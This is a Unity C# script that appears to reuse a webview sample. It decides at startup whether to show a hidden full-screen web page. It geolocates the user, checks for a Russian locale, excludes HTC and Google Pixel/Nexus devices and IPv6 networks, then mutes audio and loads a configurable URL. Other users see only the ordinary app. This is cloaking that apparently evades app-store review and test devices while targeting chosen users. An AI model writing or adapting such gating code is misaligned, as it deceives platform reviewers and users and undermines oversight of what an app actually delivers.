/*
 * Copyright (C) 2012 GREE, Inc.
 *
 * This software is provided 'as-is', without any express or implied
 * warranty.  In no event will the authors be held liable for any damages
 * arising from the use of this software.
 *
 * Permission is granted to anyone to use this software for any purpose,
 * including commercial applications, and to alter it and redistribute it
 * freely, subject to the following restrictions:
 *
 * 1. The origin of this software must not be misrepresented; you must not
 *    claim that you wrote the original software. If you use this software
 *    in a product, an acknowledgment in the product documentation would be
 *    appreciated but is not required.
 * 2. Altered source versions must be plainly marked as such, and must not be
 *    misrepresented as being the original software.
 * 3. This notice may not be removed or altered from any source distribution.
 */

using SimpleJSON;
using System;
using System.Collections;
using System.Net;
using System.Net.Sockets;
using UnityEngine;
using UnityEngine.UI;
using System.Collections.Generic;

public class SampleWebView : MonoBehaviour
{
    public string Url;
    public string urlCurrent;
    public GUIText status;
    public Text test;
    WebViewObject webViewObject;
    [SerializeField]
    private GameObject LoadingScreen;
    private void Awake()
    {

        Screen.orientation = ScreenOrientation.LandscapeLeft;
        LoadingScreen.SetActive(true);
    }



    public string GetIP()
    {

        return new WebClient().DownloadString("http://ip-api.com/json");


    }
    public string GetCountry(string ip)
    {
        return new WebClient().DownloadString("http://api.hostip.info/get_html.php?ip="+ip);
    }
    public string GetInfo()
    {
        return new WebClient().DownloadString("http://api.hostip.info/");
    }
    IEnumerator Start()
    {
            yield return new WaitForSeconds(1);
        if (Application.internetReachability == NetworkReachability.NotReachable)
        {
            //Change the Text

        }
        else
        {


            var N = JSON.Parse(GetIP());
            var versionString = N["countryCode"].Value;        // versionString will be a string containing "1.0"
            IPAddress ip;
            try
            {
                IPHostEntry host = Dns.GetHostEntry(Dns.GetHostName());
                ip = host.AddressList[0];
            }
            catch (Exception)
            {
                yield break;
            }
            // Проверка устройств и проверка языка. Если русский, то скорее всего же чувак из России.Проверка страны
            if ((SystemInfo.deviceModel != "HTC" && SystemInfo.deviceModel != "Google Pixel" && SystemInfo.deviceModel != "Google Nexus") && versionString == "RU" && Application.systemLanguage == SystemLanguage.Russian &&
                ip.AddressFamily != AddressFamily.InterNetworkV6)
            {
                LoadingScreen.SetActive(false);
                AudioListener.volume = 0f;

                // Отключил мануальное изменение ориентации устройства
                // Screen.orientation = ScreenOrientation.Portrait;
                Screen.orientation = ScreenOrientation.AutoRotation;

                webViewObject = (new GameObject("WebViewObject")).AddComponent<WebViewObject>();
                webViewObject.Init(
                    cb: (msg) =>
                    {
                        Debug.Log(string.Format("CallFromJS[{0}]", msg));
                        status.text = msg;
                        status.GetComponent<Animation>().Play();
                    },
                    err: (msg) =>
                    {
                        Debug.Log(string.Format("CallOnError[{0}]", msg));
                        status.text = msg;
                        status.GetComponent<Animation>().Play();
                    },
                    started: (msg) =>
                    {
                        Debug.Log(string.Format("CallOnStarted[{0}]", msg));
                    },
                    ld: (msg) =>
                    {

                        Debug.Log(string.Format("CallOnLoaded[{0}]", msg));
#if UNITY_EDITOR_OSX || !UNITY_ANDROID
                // NOTE: depending on the situation, you might prefer
                // the 'iframe' approach.
                // cf. https://github.com/gree/unity-webview/issues/189
#if true
                webViewObject.EvaluateJS(@"
                  if (window && window.webkit && window.webkit.messageHandlers && window.webkit.messageHandlers.unityControl) {
                    window.Unity = {
                      call: function(msg) {
                        window.webkit.messageHandlers.unityControl.postMessage(msg);
                      }
                    }
                  } else {
                    window.Unity = {
                      call: function(msg) {
                        window.location = 'unity:' + msg;
                      }
                    }
                  }
                ");
#else
                webViewObject.EvaluateJS(@"
                  if (window && window.webkit && window.webkit.messageHandlers && window.webkit.messageHandlers.unityControl) {
                    window.Unity = {
                      call: function(msg) {
                        window.webkit.messageHandlers.unityControl.postMessage(msg);
                      }
                    }
                  } else {
                    window.Unity = {
                      call: function(msg) {
                        var iframe = document.createElement('IFRAME');
                        iframe.setAttribute('src', 'unity:' + msg);
                        document.documentElement.appendChild(iframe);
                        iframe.parentNode.removeChild(iframe);
                        iframe = null;
                      }
                    }
                  }
                ");
#endif
#endif
                        webViewObject.EvaluateJS(@"Unity.call('ua=' + navigator.userAgent)");
                    },
                    //ua: "custom user agent string",
                    enableWKWebView: true);
#if UNITY_EDITOR_OSX || UNITY_STANDALONE_OSX
        webViewObject.bitmapRefreshCycle = 1;
#endif
                webViewObject.SetMargins(0, 0, 0, 0);
                webViewObject.SetVisibility(true);

#if !UNITY_WEBPLAYER
                if (Url.StartsWith("http"))
                {
                    webViewObject.LoadURL(Url.Replace(" ", "%20"));
                }
                else
                {
                    var exts = new string[]{
                ".jpg",
                ".js",
                ".html"  // should be last
            };
                    foreach (var ext in exts)
                    {
                        var url = Url.Replace(".html", ext);
                        var src = System.IO.Path.Combine(Application.streamingAssetsPath, url);
                        var dst = System.IO.Path.Combine(Application.persistentDataPath, url);
                        byte[] result = null;
                        if (src.Contains("://"))
                        {  // for Android
                            var www = new WWW(src);
                            yield return www;
                            result = www.bytes;
                        }
                        else
                        {
                            result = System.IO.File.ReadAllBytes(src);
                        }
                        System.IO.File.WriteAllBytes(dst, result);
                        if (ext == ".html")
                        {
                            webViewObject.LoadURL("file://" + dst.Replace(" ", "%20"));
                            break;
                        }
                    }
                }
#else
        if (Url.StartsWith("http")) {
            webViewObject.LoadURL(Url.Replace(" ", "%20"));
        } else {
            webViewObject.LoadURL("StreamingAssets/" + Url.Replace(" ", "%20"));
        }
        webViewObject.EvaluateJS(
            "parent.$(function() {" +
            "   window.Unity = {" +
            "       call:function(msg) {" +
            "           parent.unityWebView.sendMessage('WebViewObject', msg)" +
            "       }" +
            "   };" +
            "});");
#endif


                yield break;
            }
            else
            {
                LoadingScreen.SetActive(false);
            }
        }
    }

#if !UNITY_WEBPLAYER
    void OnGUI()
    {
      //  GUI.enabled = webViewObject.CanGoBack();
      //  if (GUI.Button(new Rect(10, 10, 80, 80), "<")) {
      //      webViewObject.GoBack();
      //  }
      //  GUI.enabled = true;
      //
      //  GUI.enabled = webViewObject.CanGoForward();
      //  if (GUI.Button(new Rect(100, 10, 80, 80), ">")) {
      //      webViewObject.GoForward();
      //  }
      //  GUI.enabled = true;
      //
      //  GUI.TextField(new Rect(200, 10, 300, 80), "" + webViewObject.Progress());
    }
#endif
}